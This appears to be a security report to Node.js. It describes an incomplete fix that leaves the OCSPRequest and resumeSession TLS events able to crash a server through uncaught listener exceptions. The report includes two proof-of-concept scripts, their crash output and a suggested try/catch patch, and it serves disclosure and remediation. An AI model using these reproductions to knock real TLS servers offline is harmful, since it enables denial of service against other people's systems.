Node.js · Report #3781015
Incomplete Fix for CVE-2026-21637: OCSPRequest and resumeSession Events Crash Node.js TLS Server via Unhandled Synchronous Exceptions
How it was found
Summary
The March 2026 security release patched CVE-2026-21637 by wrapping SNICallback, ALPNCallback, and pskCallback invocations in try/catch blocks inside lib/internal/tls/wrap.js. That fix is present in v26.3.0.
However, two other TLS callback paths in the same file were left unprotected:
socket.server.emit('OCSPRequest', ...)inrequestOCSP()— line 325owner.server.emit('resumeSession', ...)inloadSession()— line 196
If a server registers a listener on either of these events and that listener throws a synchronous exception, the exception propagates uncaught out of the native MakeCallback call stack and terminates the entire Node.js process. A remote client can trigger both code paths during the TLS handshake without any authentication, making this a remotely exploitable denial-of-service.
This was confirmed against the v26.3.0 source checked out at commit b7e6a5d3.
Vulnerability Details
1. OCSPRequest — requestOCSP(), line 325
// lib/internal/tls/wrap.js — line 324-328
debug('server oncertcb emit OCSPRequest');
socket.server.emit('OCSPRequest', // <-- no try/catch
ctx.getCertificate(),
ctx.getIssuer(),
onOCSP);
This emit is reached via two separate paths in loadSNI():
Path A — line 210-211 (no servername or no SNICallback):
if (!servername || !owner._SNICallback)
return requestOCSP(owner, info); // called before any try/catch
Path B — line 230 (inside the SNICallback async callback):
try {
owner._SNICallback(servername, (err, context) => {
// ...
requestOCSP(owner, info); // try/catch has already exited
});
} catch (err) {
owner.destroy(err);
}
In Path B, since _SNICallback is asynchronous, the try/catch completes before the callback fires. Any exception thrown inside requestOCSP() from within that callback is uncaught.
2. resumeSession — loadSession(), line 196
// lib/internal/tls/wrap.js — line 193-196
if (hello.sessionId.length <= 0 ||
hello.tlsTicket ||
(owner.server &&
!owner.server.emit('resumeSession', hello.sessionId, onSession))) { // <-- no try/catch
There is no try/catch anywhere in loadSession(). A synchronous throw from a resumeSession listener crashes the process.
Why the March 2026 Patch Did Not Cover These
The March 2026 release patched SNICallback inside loadSNI() with an explicit try/catch. The same release notes acknowledged this was an incomplete fix for CVE-2026-21637 but only named SNICallback. The OCSPRequest and resumeSession paths were not addressed and remain exposed in v26.3.0 as shipped.
Steps to Reproduce
{F6036111}
Prerequisites
Generate a self-signed cert and key:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem \
-days 1 -nodes -subj "/CN=localhost"
PoC 1 — OCSPRequest crash
Save as poc_ocsp.js:
const tls = require('tls');
const fs = require('fs');
const server = tls.createServer({
key: fs.readFileSync('key.pem'),
cert: fs.readFileSync('cert.pem'),
}, (socket) => { socket.write('ok\n'); });
// Listener throws synchronously
server.on('OCSPRequest', (cert, issuer, cb) => {
throw new Error('crash: unhandled exception in OCSPRequest listener');
});
server.listen(8443, () => {
console.log('[*] Server up. Sending OCSP request...');
tls.connect(8443, 'localhost', {
rejectUnauthorized: false,
requestOCSP: true, // triggers the OCSPRequest event server-side
}, () => {});
});
Run:
node poc_ocsp.js
PoC 2 — resumeSession crash
Save as poc_resume.js:
const tls = require('tls');
const fs = require('fs');
const server = tls.createServer({
key: fs.readFileSync('key.pem'),
cert: fs.readFileSync('cert.pem'),
}, (socket) => { socket.write('ok\n'); });
// Listener throws synchronously
server.on('resumeSession', (id, cb) => {
throw new Error('crash: unhandled exception in resumeSession listener');
});
let savedSession = null;
// First connection: capture a session to resume
const c1 = tls.connect(8443, 'localhost', { rejectUnauthorized: false }, () => {
savedSession = c1.getSession();
c1.end();
// Second connection: present the session, triggering resumeSession
setTimeout(() => {
tls.connect(8443, 'localhost', {
rejectUnauthorized: false,
session: savedSession,
}, () => {});
}, 200);
});
server.listen(8443, () => {
console.log('[*] Server up. Performing session resumption...');
});
Run:
node poc_resume.js
Output
PoC 1 — OCSPRequest
[*] Server up. Sending OCSP request...
/home/user/poc_ocsp.js:10
throw new Error('crash: unhandled exception in OCSPRequest listener');
^
Error: crash: unhandled exception in OCSPRequest listener
at Server.<anonymous> (/home/user/poc_ocsp.js:10:9)
at Server.emit (node:events:509:20)
at requestOCSP (node:internal/tls/wrap:325:17)
at TLSWrap.loadSNI [as oncertcb] (node:internal/tls/wrap:211:12)
Node.js v26.3.0
The process exits. The server is dead after a single client connection.
PoC 2 — resumeSession
[*] Server up. Performing session resumption...
/home/user/poc_resume.js:8
throw new Error('crash: unhandled exception in resumeSession listener');
^
Error: crash: unhandled exception in resumeSession listener
at Server.<anonymous> (/home/user/poc_resume.js:8:9)
at Server.emit (node:events:509:20)
at loadSession (node:internal/tls/wrap:196:7)
at TLSWrap.onclienthello (node:internal/tls/wrap:862:20)
Node.js v26.3.0
Impact
Impact
Any TLS server running Node.js v26.3.0 that registers an OCSPRequest or resumeSession listener is vulnerable. If the listener throws under any condition — including expected error cases like a failed OCSP lookup or a cache miss during session resumption — a remote client can crash the server by sending the appropriate TLS extension. No authentication is required. The crash is deterministic and repeatable.
Real-world listeners commonly throw in these scenarios:
OCSPRequest: network call to a CA fails and an exception is thrown instead of callingcb(err)resumeSession: a session store (Redis, Memcached) client is not yet connected and accessing it throws
Suggested Fix
Wrap both vulnerable emits in try/catch blocks, calling socket.destroy(err) or owner.destroy(err) on catch — identical to what was done for SNICallback in the March 2026 patch.
requestOCSP() — line 324-328:
debug('server oncertcb emit OCSPRequest');
try {
socket.server.emit('OCSPRequest',
ctx.getCertificate(),
ctx.getIssuer(),
onOCSP);
} catch (err) {
socket.destroy(err);
}
loadSession() — line 193-203:
try {
if (hello.sessionId.length <= 0 ||
hello.tlsTicket ||
(owner.server &&
!owner.server.emit('resumeSession', hello.sessionId, onSession))) {
owner._handle.endParser();
}
} catch (err) {
owner.destroy(err);
}
References
- CVE-2026-21637 — Original TLS callback DoS (PSK/ALPN, Jan 2026): https://nodejs.org/en/blog/vulnerability/december-2025-security-releases
- CVE-2026-21637 incomplete fix — SNICallback in
loadSNI()(Mar 2026): https://nodejs.org/en/blog/vulnerability/march-2026-security-releases - Node.js v26.3.0 release: https://nodejs.org/en/blog/release/v26.3.0
- Vulnerable source, v26.3.0, commit b7e6a5d3:
lib/internal/tls/wrap.js, lines 196 and 325 - CWE-248: https://cwe.mitre.org/data/definitions/248.html